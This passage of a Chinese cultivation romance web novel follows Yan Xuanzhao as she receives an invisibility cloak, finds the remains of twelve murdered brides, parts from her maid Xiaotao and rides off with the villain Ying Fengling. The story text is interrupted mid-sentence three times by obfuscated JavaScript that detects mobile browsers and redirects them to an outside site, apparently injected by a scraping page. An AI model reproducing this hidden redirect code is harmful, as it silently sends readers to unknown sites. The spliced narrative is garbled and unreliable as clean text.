颜悬昭才注意到,博古架上有小部分格子在他们进来之前,已经空了,明显是被人早拿走了,加上应逢怜这熟门熟路,回到自己家一般扫荡姿势…… 颜悬昭恍然大悟。 好家伙!怪不得今晚关键时刻应逢怜这厮一直不见踪影,原来是他摸到了宋三的秘密宝库。这下可不是老鼠进了米缸,在这里偷赃物偷得不亦乐乎,根本无暇顾及她那边的死活! 颜悬昭瞬间心头火起,如果意念能杀人,她已经在心里杀死应逢怜几百次了。 她在心底阴暗地诅咒了他一番,便开始习惯性地劝解自己。 莫生气、莫生气,气出病来无人替。谁让他是甲方呢,我们要包容一点,海阔天空…… 她深呼吸,刚平复好心情,挤出一个微笑,就被一件突然飞来的物件劈头盖脸罩了个正着。 11. 红颜枯骨 颜悬昭手忙脚乱地扯下盖在头上的东西,拿下一看发现是一款斗篷。 这件斗篷的面料有一种奇异的质感,触.手微凉,似绸缎,又比绸缎厚重,做工亦是无比精巧,浑然一体,找不到任何针脚,暗底的花纹上还有隐隐的银光浮现,随着她指尖的拂动而流转。 她下意识看向应逢怜,他正对着一个空空如也的锦匣,像是刚刚找到这件东西,随手扔了过来。 他却扭开头,不看她,语气平淡:“赏你了。” 颜悬昭楞了一下,紧接着就欢欢喜喜地将斗篷拿起抖开来仔细端详,还在身上比划了两下。 没想到,斗篷的尺寸意外地适合她! 但她向来是个矜矜业业的社畜,这种时候也不忘自己的攻略任务。 她厚着脸皮,故意扭曲事实,掐着嗓子甜甜道:“这是你第一次送我礼物,我会好好珍藏的!” 应逢怜眉心微蹙,总感觉她这话说得怪异,但并未出言纠正,只是简短地命令道:“穿上。” 颜悬昭正古怪于应逢怜这么关注她穿不穿斗篷做什么,他还总是躲闪着目光,像看她一眼就被烫到一样,慢着…… 她突然想起了一件事,缓缓低头一看…… 好家伙!她忘记自己前胸后背还豁着个大洞了。丹药能修补她的伤口,却不能修补她衣服上的大洞啊! 她就说怎么一路走来应逢怜几乎不怎么正眼看她,还总是有意无意地避开视线,她原本以为是因为他向来高傲…… 现在才知道,原来是因为她顶着胸口前的大洞走了一路啊! 颜悬昭瞬间被这个认知臊得抬不起头,急忙将斗篷披到了身上,将自己遮得严严实实。 将兜帽戴上的瞬间,惊奇的事情发生了。 她发现自己的身体变得隐形了,她连忙用手摸了摸自己的脸蛋,触感还在,但视觉上已经看不到自己的身体了。 她将兜帽脱下,整个人又立马现形。 这难道是……传说中的隐身衣!天啊,太酷了吧! 颜悬昭瞬间就把刚刚的羞恼抛之脑后,穿着隐身衣,雀跃地跳到应逢怜面前展示着她的发现,声音里是抑制不住的兴奋,“你能看见吗?能看见吗?我隐形了唉!” “这么好的法宝你真的给我吗?”她兴奋地像只叽叽喳喳的小麻雀。 应逢怜却波澜不惊,好像早知道了一样:“匿形衣而已。穿上以后,元婴期以下的无法感知到你的行踪气息,但对元婴以上没用。于我而言是鸡肋,你拿着还能挡点小麻烦。” 能避开元婴以下的修士探查,那岂不是再遇到面对宋三、影魔这种的凶险场面,她可以第一时间披上斗篷开溜?这简直就是天降的保命符! 颜悬昭喜滋滋地裹紧了身上的斗篷,收下这份今晚迟来的“报酬”。 心情大好的她开始在密库里四处转悠。 东边摸.摸架子上的鸽血红莲玉如意,东边嗅嗅那株月兰仙草,像刘姥姥进大观园一般惊叹连连。 最终她被一个雕有凤凰图样的犀角盒吸引了注意力,忍不住伸手去触碰,但盒子上设立了禁制,她的指尖一碰触,盒子就像活过来了一样,猛地打开“咬”了她一口。 颜悬昭疼得吱哇乱叫,疯狂地甩着手,盒子却“咬死”都不松口,最终还是靠应逢怜的解救才让她抽回了手。 看着红肿的手,颜悬昭泪眼汪汪,这下子彻底老实了。 她不敢再随便去碰这些稀奇古怪的东西了,便转而研究起陈列这些珍宝的博古架。 这些架子皆由名贵的紫檀木制成,上面雕刻着各式的莲花、观音等寓意圣洁慈悲的图样,与宋三本人的所作所为对比之下有种格外荒谬的讽刺之感。 颜悬昭细细地比较着每个架子上花纹的细微差异,目光忽然被一处不同吸引住了。 有个架子似乎并没有其他的架子一样,和墙体完全嵌合,反倒是露出一线缝隙,有隐隐的光从裂缝中透出,不认真看根本不会注意到。 她走上去用力推了推,架子纹丝不动。 应逢怜听见了动静走了过来,见她费劲,便伸手搭了一把。 有了他的助力,架子发出沉闷的“吱呀”声,缓缓被推开,露出了里面的一个隐藏的房间。 颜悬昭好奇地钻了进去,却被眼前的景象惊到后退了两步,直到脊背撞上应逢怜坚实的胸膛,被他按住了双肩,才勉强站稳。 这个房间的装饰陈设与外头截然不同。外面若说是古色古香、精致典雅,那这里就可以说是金碧辉煌、富丽堂皇了。 穹顶、地板、四周都由金砖砌成,回荡着让人炫目的金灿。 房间中.央赫然矗立着一把嵌满各色宝石的黄金王座,两侧的把手被雕刻成腾龙的模样,龙首上的眼睛由黑玛瑙点缀而成,活灵活现。 极尽奢靡,充满了一股子暴发户的气息。 但令颜悬昭感到震惊的并非这些,而是环绕在王座周围的十二具骸骨。 它们形态各异,有的被长钉在死死地固定在了墙上,还保持着生前挣扎的狰狞姿态;有的被金锁链悬吊在半空中,脊椎以极其不自然的方式扭曲着;还有的被塞在一个狭小的金质狗笼里,全身骨骼碎裂变形……但无一例外都穿着火红的嫁衣。 这是……宋三迫害的那十二位姑娘。 颜悬昭牙齿止不住地上下打颤,说不出更多的是惊惧,还是愤怒。 他残忍地杀害了她们后,还将她们的尸骨以最屈辱的姿态做成了“藏品”,供他病态地欣赏和回味。 一股强烈的反胃感猛地涌上喉头,让颜悬昭几欲作呕,她拼尽全力地压下了这股恶心,眼眶却不受控制地迅速泛红。 书中寥寥数语带过的惨案,此刻如此具象而残酷地展现在她的面前,让她无法再以一个局外人的身份轻飘飘地看待这一切,那些曾经和她一样有过喜怒安乐的鲜活生命,在这个密室里以最不堪的姿势消亡,沦为他人亵玩的展品。 厌恶、悲悯、痛恨在她心头交织、汹涌。 她恨宋三还是走得太轻松了,恨不得将他复活过来,千刀万剐,将女孩们受过的苦都经历一遍,才能些许安慰她们的在天之灵。 但更多的是深切的无力感,无论再做什么都无法挽回那些逝去的人了。 宋三的报应来得太迟、太迟了…… 颜悬昭压下翻腾的心绪,轻轻扯了扯身旁应逢怜的衣袖,低声恳求道:“能不能帮我把她们解救出来?” 应逢怜垂眸看了她一眼,出乎意料地没有多说什么,挥了挥手就把女孩们从各种各种金做的枷锁里解放了出来。 所有尸骸被一股柔和的力量托着,平稳地放置在地面。 颜悬昭跑了过去,将她们小心翼翼地搬动到一块。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316303|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 就在她忙碌时,应逢怜踱步到黄金王座上,观察起着面前黄金案桌,他伸手轻抚上台面的祥云图纹。 突然,他的手在一块异样的图纹上停顿了一下。 那纹路看似与其他部分融为一体,实则微微凸.起,触感冰凉。 他重重按下,机括声轻响,案桌震了一下,桌面猛地反转,呈上了一个保存完好的玉匣。 应逢怜打开了玉匣,取出了其中保存良好的羊皮纸,展开一看,竟是一张标注详尽的藏宝图,其中山脉河流绘制得极其精细,几个关键处还标注着古老的符文。 图纸顶端,赫然写着"乌南秘境"四字。他目光微凝,眼中闪过一抹深思。 “应逢怜,你能不能过来搭把手呀?”颜悬昭的声音在不远处响起,打断了他的思路。 应逢怜合上了图纸,稳妥地收进了储物戒后,才不紧不慢地走到了颜悬昭身边。 他在她身边站定,垂眸道:“又要做什么?” 颜悬昭指了指地上排列整齐的骸骨:“你能不能帮我用火送她们一程,然后我就能带她们出去,将她们安葬好。也算是能安慰她们的在天之灵了。” 应逢怜却突兀地嗤笑一声,语气凉薄:“有必要么?” “人死魂消,你做得再多她们也不会感知到分毫。不过是为了求一个你心理安宁,何必说得这么冠冕堂皇?虚伪。” 颜悬昭没有反驳,点了点头:“这样做确实已经于事无补。但我也做不到眼睁睁看着她们这样,却什么都不做,就当是给我自己一个心理安慰吧。” 她态度如此坦然,反倒让应逢怜无话可说了。他还是依照她说的,帮她将这些尸骨都焚化了。 他们走出地道时,天已破晓,一声鸡鸣划破静寂。 晨光正缓慢从蔚蓝的天际线边缓缓升起,将云染成一片暖金。枝头新叶上的露珠映着晨曦,预兆着黎明的到来。 颜悬昭紧搂着胸口处的陶瓷罐,后知后觉地意识到这惊心动魄的一晚终于过去了。 带着露水气息的晨风扑面而来,吹走了她的迷蒙,又吹走了她和世界相隔的最后一层朦胧面纱。 她深深地吸了一口气,恍若新生。 这里在她的认知里不再是纸面上的苍白文字,而是充满了真实鲜血与泪水的世界。 【恭喜宿主完成支线任务“红颜枯骨”,奖励成就点1000!】系统的提示音适时响起。 颜悬昭以为这就结束了,没想到系统的播报还在继续: 【反派应逢怜好感度+5,目前好感度值为5,恭喜宿主完成主线任务“破冰”,奖励生命值一个月。】 颜悬昭意外地看了一眼应逢怜,他敏锐地接收到了她的目光,冷冷地回望过来,俊美的脸庞上依旧是那副冷淡疏离的神情,没有看出任何特别的改变。 晨光在他轮廓分明的侧脸上投下淡淡的阴影,白净的面庞上还有细碎的绒毛在随着呼吸轻轻颤动,看起来像古典油画中的人般既遥远又真实。 颜悬昭的嘴角压抑不住地扬起一个细小的弧度。 【系统,你知道吗,我发现了个秘密。】她在心中轻声说道。 【什么秘密?】系统被成功地勾起了好奇心。 颜悬昭的眼里闪过一丝狡黠。 【大魔头其实他没有那么铁石心肠,相反,他还挺容易心软的。】 12. 带我走 晨光熹微,江风带着冰凉的水汽拂乱了颜悬昭的鬓边发丝,她抱着陶瓷罐一时间有些踌躇。 她不知道这十二位姑娘都是何方人士,家又住在何方?但她确信的是,她们绝对不会愿意被埋葬在宋府那个囚禁折磨她们的地方。 可转念一想,若不能回到故土,无论埋骨何处,对逝者而言都是一种禁锢吧。 她索性将陶瓷罐带到了江边,让流水带她们归家。江水汩汩东流去,总有一日能带她们魂归故里。 她蹲下身,小心翼翼地打开罐子,将洁白的骨灰缓缓倾倒入江中。灰烬融入清澈的江水里,转瞬便随波逐流,消散无踪。 流水潺潺,带走了那些沉重的前尘往事。 颜悬昭站起,闭上了眼在江边双手合十,努力回想并念诵着自己零星记得的几句转生经。 她的声音很轻,混在流水声与风声中。 正专注中,她忽觉肩头微微一沉,讶异地睁开眼,侧头看去。 竟是一只灰羽白喙的小鸟,不知从何处飞来,此刻正安静地停落在她的肩头。 小鸟歪着头,用那双绿豆般的漆黑眼珠子滴溜地看了她一会,发出几声清脆的叽喳叽喳,仿佛在诉说着什么。 还未等她做出反应,它便振翅而起,飞向蔚蓝的天际,成为一个小黑点消失在天边。 颜悬昭收回了眺望的目光,视线不自觉地落在不远处的应逢怜身上。 他正懒懒地抱臂倚在柳树下,双眼微阖,似在小憩,不知等候了多久,柳条拂散的阳光化作斑驳光点在他的衣袍上跳跃。 颜悬昭拎起裙摆小跑了过去。 应逢怜听见动静,缓缓睁开眼,低头看着眼前人:“事情都办完了?” 颜悬昭点了点头,气息因小跑而显得有些急促:“都弄完了,谢谢你!愿意陪我来这里。” 说完她顿了顿,继续问,“接下来我们该去哪?” 应逢怜没有回答这个问题,而是突兀地话锋一转:“你想起我在什么时候告诉过你真名了吗?” 语气平淡,仿佛只是随口一问。 一提到这个问题,颜悬昭的眼神就开始飘忽,手指无意识地绞着衣角,脑海里迅速开始组织措辞:“这个……我还是没想起,反正以后日子长着呢,我慢慢想……想起了就第一时间告诉你!” 应逢怜唇角勾起一抹轻嘲的弧度,语气懒散,却投下一枚重弹:“没时间了。” 颜悬昭一怔:“什么?” “追捕我的人,很快就会循着踪迹找到这里。”他语气平静无波,仿佛在说一件与己无关的事,“我今日便会离开筠州城。” “怎么这么快?”颜悬昭心脏猛地一跳,惊诧脱口而出。 任务目标要走了?那她的任务怎么办? 几乎是本能反应,她急忙伸手扯住他的袖袍一角,语气急切:“我跟你一块走!” 这下轮到应逢怜诧异了。 他侧目看向她,眼神仿佛听到天大的荒谬笑话,“你跟我走?” 他上下打量了她,仿佛重新认识了她一遍,眼神戏谑,语气里还带着一丝不着调的恶劣,“娇贵的小姐,我可是恶名昭著的魔修,不是什么能带你浪迹天涯、风花雪月的侠客。” “我知道。”颜悬昭态度异常坚决,似乎早就算清了其中利弊,“宋府满门遇害,我却独活着,我回去纵使不被判定为凶手,也会百口莫辩,成为众矢之的。” “更何况我不想再作为一个联姻工具被人送来送去了。我想自由地选择自己的人生道路……”颜悬昭抬头,直直地凝视着应逢怜的眼睛,目光澄澈而坚定。 应逢怜仿佛被她眼神中真挚的渴望烫到了一般,仓促地移开了目光,望向波光粼粼的江面。 沉默了片刻,他才再度开口,声音听不出情绪:“你可以选择拜入某个正道宗门,一样可以摆脱家族的掌控。” 他顿了顿,语气更冷硬了些,“跟着我,我自身难保,无法许诺任何东西予你。” “不行的。”颜悬昭眼神黯淡,“我体质孱弱,灵根斑驳,除非洗髓换骨,否则这辈子都不会在修炼上有多大进益的,哪有宗门愿意收我。” 她自顾自地继续说着,像是在倾诉,又像是在排解迷惘,“我有时候甚至会想,我这种天资匮乏的人存在这世界上有什么意义呢?” “无法修炼,便连最基本的自保之力都没有,只能任由他人蔑视、嘲笑、摆布。没有力量,想活得有尊严一点,想自由地呼吸一点,都是奢望……” 应逢怜放在身侧的手微不可闻地蜷缩了一下。 “你我同是不被世俗接纳的异类,又为何不能一道走呢?”颜悬昭的声音忽然拔高,带着一种孤注一掷的锐气,“无论前路有多么凶险,我都做好准备克服了!” 听到这里,应逢怜终于发出一声清晰的冷笑,毫不留情地吐.出两个冰冷的字眼:“天真。” 颜悬昭瞬间像是被泼了一盆冷水,满腔的“热血”被冻住。 她已经在尽力贴合他的心路历程去说了,怎么还是无法打动他? 【宿主,原来你是故意这么讲触动反派的恻隐之心的,我还以为你真的发自肺腑地有感而发呢,害我白感动了。】系统适时出声道。 【其实也不尽然,还是有很多共通之处的……】她在心底弱弱说道,但也没想着过多解释。 这些话,半是策略性的倾诉以求共鸣,半是她一直以来压抑在心底的真实感受。 颜悬昭连忙止住自己要回望“悲惨往昔”的念头,将心神集中在当前的任务上——死皮赖脸缠上应逢怜! 见应逢怜不置可否、油盐不进的态度,颜悬昭决定换个思路、再次主动出击:“带我走好不好!为了逃避他们的追捕,你肯定有很多事情不方便做,那我就可以替你去做!” “我会迅速成长起来成为你的得力助手的。”颜悬昭努力让自己的眼神看起来真诚坚定,语气信誓旦旦地表明着忠心,“与你并肩作战,永远都不会背叛你!” 突然间,她的下颌被人用微凉的手指掐住,力道不重却带着一股不可违抗的强势迫使她抬起头来。 颜悬昭眨巴眨巴眼,一头雾水地撞进了应逢怜幽深的眼眸中。 他猩红的眼眸紧紧地锁定着她,仿佛能穿透她的眼睛,搜刮她的灵魂。 他冰冷地命令道:“再说一遍。” 颜悬昭被看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16316304|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得心里发毛,一时间不知道要说哪句,只能尽可能地回忆着刚刚热血上头所说的话语,结结巴巴地重复:“我会尽快成长……” “下一句。”他利落地打断道。 她愣了一下,试探着,不太确定地小声重复:“我……我永远都不会背叛你……?” 钳制着她下巴的手骤然松开。 应逢怜猛地转过了身,背对着她,冷冷地说道:“颜悬昭,你最好记清楚你今天立下的誓言。” 他微微侧过头,眼角的余光扫过她,杀意凛冽地警告:“对我说谎的人,下场都会很惨。” 颜悬昭木愣愣地点了点头。 “今日酉时,西南城楼,过时不候。”紧接着,他丢下这最后一句,身影便如同鬼魅般,在她眼前倏然消失,仿佛从未出现过一样。 颜悬昭待在原地后知后觉才意识到—— 他这是让她跟着一起走了? 任务有望,小命可保! 颜悬昭简直是喜出望外,高兴地独自在原地转溜了一圈,才猛地想起时间紧迫,自己应该回去准备一下行李。 还有,要和跟小桃认真地告个别。 毕竟小桃是她来到这个世界交到的第一个朋友,也是唯一一个全心全意真挚待她的人。 无论如何,她都要认真地与她告个别,不辜负这份情谊。 打定主意,颜悬昭立刻披上那件匿形衣,身影渐渐融入空气中,朝着颜府的方向快步走去。 —————— 回廊下,两个婆子看着在颜府上下突然忙起来取下阖府悬挂着的红绸和喜字,忍不住凑到一块窃窃私语起来。 “赵二家的,你说的可是真的?”负责采买的李婶小声探听着消息,一脸震惊,“宋家全府上下都被魔物吞吃了啊?” “那还有假?”赵二家的一脸笃定,对她的质疑很是不满,声音不自觉地提高了一度,“官府的通报都出来了!” “那我们小姐岂不是……?” “怕是凶多吉少喽……” 赵婶唏嘘道:“小姐也是命苦,幸好小桃福大命大睡着了,没跟着花轿过去!” “小桃是个好姑娘,就是太重情重义了。老爷都不理会这事了,她倒好,哭得眼睛都肿了,今儿个一早就不见了人影。听门房老王说,她傻乎乎地跑去宋府那凶煞之地,非要去找小姐的……唉!” “嘶……李婶我怎么总感觉后背凉飕飕的,好像谁在看着我?”赵二家的疑神疑鬼地回了回头,却什么也没发现。 李婶瞬间联想到了什么,犹豫道,“……小姐生前……最喜欢在这片喂鱼了,该不会是……她的冤魂回来了……” 这话一出,两人瞬间噤若寒蝉,脸上血色尽褪。她们慌忙双手合十,朝着四方天地胡乱拜了拜,嘴里哆哆嗦嗦地念着“冤有头债有主”、“小姐莫怪”,便脚步匆匆、几乎是落荒而逃地离开了回廊。 直到两人的身影彻底消失在月洞门后,颜悬昭才掀开了斗篷,从廊柱后缓缓现出身形。 听两个婆子的对话,小桃现不在颜府,而是跑去了宋府? 不行,她必须立刻赶去宋府,绝不能让小桃因为找她而出什么意外! 13. 告别 颜悬昭刚赶到宋府外围,就听见一阵激烈的争执声。 “我求求你们了!放我进去吧。”女声带着浓重的哭腔,苦苦地哀求着。 是小桃! 颜悬昭的心猛地揪紧,不由得加快了脚步,借着匿形衣的掩护悄然靠近。 只见两名手持兵刃的官兵正拦在宋府大门前,面色冷硬。小桃跪在他们面前苦苦哀求着,头发散乱,脸上泪痕交错,衣衫上沾满了尘土。 “都说了里面没有活人了,还在这里胡搅蛮缠!”官兵扬了扬手,不耐烦地推开正在跪地哭求的小桃。 小桃被这么一推,重心不稳,踉跄地跌坐在地。 她仿佛感受不到痛一般,不死心地膝行上前,拉扯着另一位官兵的裤腿,声音嘶哑,“官爷……官爷行行好,我家小姐还在里头,让我进去找找她吧,求你们了……” 可惜另一位官兵亦是铁面无私,脸上没有丝毫动容,直接搬出律法厉声叱喝道,“去去去!再妨碍官府办案,就把你压入大牢里吃牢饭去!” 颜悬昭藏在匿形衣下,看得心急如焚,拳头不自觉地握紧。她恨不得立刻冲上去扶起小桃,但她不能,她此刻在世人眼中已经是“死人”了,她绝不能暴露在光天化日之下。 万幸的是,小桃没有铁着心和那些兵伢子硬碰硬,接连碰壁两次后,她失魂落魄地从地上爬起来,不再哀求,只是一步三回头地望着那森严的府门,最终还是拖着沉重的步伐,跌跌撞撞地离开了。 颜悬昭连忙悄无声息地跟上。 她原以为小桃会直接回颜府,没想到她绕了一个大圈,竟又绕回了宋府后院一处偏僻的高墙下。 她仔细观察了一番周围没有官兵把守,也无人来往后,风风火火地撸起了袖管,露出两节细瘦的胳膊,嘴里还一边给自己打着气:“不要怕,小桃,你可以的!为了小姐,一定要进去!” 她后退几步,瞄准了面前那堵高高的青砖墙,深吸一口气,缓缓做出了一个笨拙的助跑姿势,咬着牙就准备硬冲上去翻墙。 就在她闭着眼准备拼命一搏时,一道她以为此生再也听不到的声音在她身后轻轻响起。 “小桃!” 小桃的猛地动作定格,缓慢扭头,不可置信地看向声音的来源。 视野里,颜悬昭穿着斗篷,正站在不远处着看她,眉眼间带着她熟悉的狡黠笑意。 她的视线被瞬间涌出的泪水模糊了,她赶忙用脏兮兮的袖子擦干泪水,试图看清来人是否真实存在,还是她悲伤过度臆想出的幻影。 她用力眨了眨眼,颜悬昭的身影依旧清晰真切地站在那里,没有消失。 见她依旧傻在原地一动不动,颜悬昭主动走上前来,张开手臂轻抱住了她。 小桃木愣愣地看着她,喃喃道:“小姐……您现在是鬼魂吗?” 颜悬昭闻言,又是心疼又是好笑,伸手不轻不重地掐了一把她的脸蛋,触感温热真实:“傻丫头,哪有鬼魂能青天.白日里出来的? 熟悉的语气和真切的疼痛感一下子让小桃意识到自家小姐真的还活着,不是幻影,也不是鬼魂。 失而复得的巨大喜悦冲破了她的堤防,眼泪决堤般大股大股从她的眼睛里从涌现。 她狼狈地擦拭着疯狂落下的眼泪,泣不成声地说道,“太…好了、太好了,小姐您还活着,我还以为……” “好了好了,别哭了,我这不是好好的吗?”颜悬昭轻轻拍着她的背,柔声安慰着,“我还活着你应该高兴才是。” 她一边说着,一边警惕地打量着四周的环境,压低声音道,“这里不是说话的地方,我们找个隐蔽安全的地方再说。” ———— 二人避开人眼,悄悄来到城西一处荒废已久的土地庙里。 “就是这样,在洞房前我逃了出来,侥幸躲过了一劫。”颜悬昭将昨晚那惊心动魄的经历巧妙地改编了一番,隐去了宋三的恶行和影魔的恐怖存在,只简化成一个幸运的逃婚故事。 她不想让小桃知道那些血腥残酷的真相,让她徒增无谓的担忧,卷进不必要的风波。 小桃听完,长长地舒了一口气,双手合十,闭眼虔诚地喃喃道,“感谢老天爷保佑、菩萨保佑,让小姐平平安安地渡过了此劫。” “对了,小桃,”颜悬昭神色一正,语气变得严肃起来,“我活着这件事,绝对不能再让其他任何人知道。” 小桃闻言放下了手,脸上写满了困惑和不解,“为什么?小姐,你不回颜府了吗?” “不回去了。”颜悬昭摇了摇头,语气坚定,“再回去,也不过是再次被当作联姻的筹码,不知道下一次又会被送去什么地方。我这次冒险回来,就是专程来向你告别的。从今往后,就当我已经死在昨天宋府的新婚夜了吧。” 小桃一下子着急了起来,冲动地上前紧紧拉住了她的手,仿佛一松开她就会立刻消失:“那小姐你要去哪?无论去哪里,我都跟着您一起去!” 她跟着应逢怜是逃亡的,将来路上的凶险劫难必不可少,小桃又是身无修为的凡人,决计不能让她卷入其中。 思及此,颜悬昭脑袋里有了个好想法,她将手指放在嘴前比了个“嘘”,在她耳边低声神秘道,“我是要和你姑爷私奔啦!” “姑爷?”小桃愣了好一会儿,才慢慢消化掉这个突如其来的消息,脸上露出些许犹疑和担忧,“小姐……您才认识姑爷多久啊?他……他真的可靠吗?对您是真心的吗?” “我们认识可久啦,只是之前一直没机会告诉你。”颜悬昭面不改色地信口胡诌,努力让谎言听起来更真实,“昨天就是他接应的我,我才顺利逃婚的。” “可是、可是……”小桃眉头紧蹙,显然还是放心不下,“不行!我还是要跟着您才能放心,小姐你就让我跟着你们走吧,我不会打扰你和姑爷的!” 她越说越急,甚至开始规划起未来:“而且……而且万一以后你们有了小少爷、小小姐,我还可以帮忙带呢!我可能干了!” 颜悬昭听得一阵汗颜。 小桃,你也想得太多太远了吧…… 为了打消她的念头,颜悬昭佯作出一副拈酸吃醋的小气模样,叉腰道:“小桃,我呢,其实是个很小气很小气的人!我可容不下别的女人长时间待在你姑爷身边,哪怕是你也不行!我就要和他过甜甜蜜蜜的二人世界!谁也不许打扰!” 看颜悬昭态度坚决,小桃像霜打的茄子一下子蔫吧了,眼角眉梢耷拉着,说不出的沮丧。 颜悬昭心下不忍,语气软了下来,继续劝解道,“小桃,我走之后,你也离开颜府吧,那里不是一个好归处。” 小桃却茫然地摇了摇头:“离开了颜府和小姐您,我就不知道该去哪里,怎么谋生了。我天生就是当奴仆的命,也只会服侍……” 颜悬昭却打断了她的自我贬低。 她的语气异常坚定:“小桃,没有人天生就是当奴仆的。你的手那么巧,梳的头髻、上的妆容比筠州城里手艺最精湛的妆娘还要好看! “离开我,你完全可以活得很好,甚至更好!你可以去开个小小的脂粉铺子,当个妆娘,我相信你的生意一定会爆火的!” “可是……”小桃还想说什么,却被颜悬昭突然拉过了手。 颜悬昭将一沓厚厚的纸契不由分说地塞到了她手中。 小桃下意识接过低头翻看,是一些屋契、地契、还有一些商铺的经营契约……这些都是颜悬昭生母留给她的陪嫁之物! “不行!不行,小姐这些是你的陪嫁,我不能要!”小桃像被烫到了一样,慌忙推拒着,急切地要将它们塞回颜悬昭手中。 颜悬昭又将所有契约强硬地推回给了她,语气不容拒绝,“我.日后要行走江湖,自然不便打理这些,就都交由你替我打理了。” “可、可是……小姐,我是奴籍啊……”小桃捏着那沓沉甸甸的契约,手都在发.抖,声音里带着卑微的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“快让开!别被撞倒了!” 急促杂乱的马蹄声如惊雷般由远及近,路人纷纷惊慌失措地向街道两旁躲闪,愣生生在闹市之中开辟出一条通道。 颜悬昭看见一匹通体乌黑的高头大马正朝着她们这个方向疾驰而来,骑马的人面容被宽大的幂篱遮掩着,看不真切。 她心中一惊,连忙拉着小桃向路旁急退。 然而,就在骏马如旋风般从她身边掠过的刹那—— 一只强健有力的手臂猛地从马背上探下,精准地揽住了她的腰肢! “啊!”颜悬昭忍不住惊呼出声,只觉得一阵天旋地转。下一秒,她已经稳稳地落在了马鞍之上,后背紧贴着一个坚实温热的胸膛,被来人牢牢地圈在怀中。 骏马奔腾的疾风扬起了来人幂篱上垂下的黑色面纱,惊鸿一瞥间,露出了应逢怜那线条分明的精致下颌。 他垂眸,淡淡扫了怀中惊魂未定的她一眼,确认她坐稳后,便不再多看,专注地目视前方,手臂收紧,一手抓紧缰绳,另一手扬起马鞭在空中划出一道利落的弧线—— “驾!” 黑色骏马发出一声嘹长的嘶鸣,四蹄腾空,加速朝着洞开的城门飞驰而去,将所有的喧嚣与目光都远远甩在身后,一骑绝尘。 小桃下意识地奋力追跑了几步,直到那马蹄扬起的尘土扑打在脸上,她才后知后觉地意识到刚才那惊险一幕的始作俑者是谁。 她不再追逐,只是猛地停在了街道中央,望着那绝尘而去、越来越小的黑点。 此刻,她突然无比清楚意识到离别的到来。 她站在原地,眼眶瞬间变得通红,她将双手环在嘴边,用尽全身的力气,朝着那即将消失在视野里的身影,带着哭腔大声地呼喊,将所有的祝福与不舍都灌注其中: “你要幸福啊!一定要啊!” 风将小桃遥遥传来的呐喊送到了颜悬昭的耳中。 她回头,望着筠洲城逐渐远去,化为地平线上不起眼的一个节点,眼底突然泛起了酸涩的热意。 她在心底默默地、郑重地回应。 会的,我会幸福的。 小桃,你也一定要幸福。 14. 启程 马蹄重重抬起、落下,扬起阵阵枯枝落叶。一匹骏马如离弦之箭呼啸而过划破了林中的寂静。 颜悬昭紧靠着应逢怜,清晰地感受到他的肌肉在衣服布料下随着每一下抬手扬鞭而略微绷紧,还能听见他沉稳而有力的心跳声正一下下隔着胸膛里传出。 如此地亲密接触,让颜悬昭的心思瞬间活络了起来。她在脑海里悄然翻看着系统给的《泡帅哥的千层套路》,打算按书上所说,借着马背的晃荡,不动声色地与应逢怜制造各种的肢体接触。 她先是假装不经意地撩拨自己的秀发,让发梢轻扫过他下巴。见他没有反应,她又不留痕迹地调整坐姿,更深地坐进他的怀里,用后背紧紧贴着他的胸膛。 她忙活了半天,应逢怜却连呼吸的频率都没有变一下,心如止水,好像他怀里的不是一个妙龄的姑娘,是一座无生命的木雕。 颜悬昭暗自咬牙。这男的是块石头做的吗?这么活色生香的勾.引,他都没反应? 正腹诽着,骏马跨过一根横陈在路中的枯树树干,腾空跃起—— “啊,我怕!” 颜悬昭抓住机会,假模假样地惊叫了一声,顺势将脸埋进了应逢怜胸膛处,不老实的双手趁机环住了他的腰,抱得那叫一个结实。 应逢怜眼角抽了抽,似乎终于忍无可忍。他将她的头一把推开,语气冷得能够结冰,“再乱动,我就把你丢下去。” 颜悬昭对上他眼里有如实质的怒火,深知他绝对不会简单地说说而已,人一下子就彻底老实了,挺直腰,正襟危坐了起来。 她忍不住在脑海里抱怨起系统:【系统,你给的破书一点用都没有!】 系统不服气地回怼道:【那是教程的问题吗?明明是你实操不行。】 【你在人家怀里蛄蛹的样子,我都想叫你身上痒就去洗澡了!】 有这么离谱嘛,她觉得她的姿势还挺唯美的啊…… 【真的没有从我刚刚的动作里的体会到丝毫我的妖冶妩.媚、风情万种吗?】颜悬昭不死心地继续追问。 却换回了系统无情的答复:【我只体会到了你想揩他油的急不可耐。】 颜悬昭:…… 于是,接下来的小半程路,颜悬昭都在脑海里和系统进行了激烈辩论。 然而马背的颠簸感越来越强烈,颜悬昭不可避免地感到一阵阵头晕目眩,胃里也开始翻江倒海。她不得不单方面宣布了和系统休战。 酸水几乎要涌到了喉头,她努力克制住恶心,虚弱地问道,“我好像有点晕马了,我们能不能不骑马了?你们修仙的不是都会御剑飞行吗?那个比较平稳吧。” “凡间城池及周边空域,除官府特许办案外,一律禁飞,四周都有禁制。”应逢怜的声音毫无波澜,甚至懒得多解释一句。 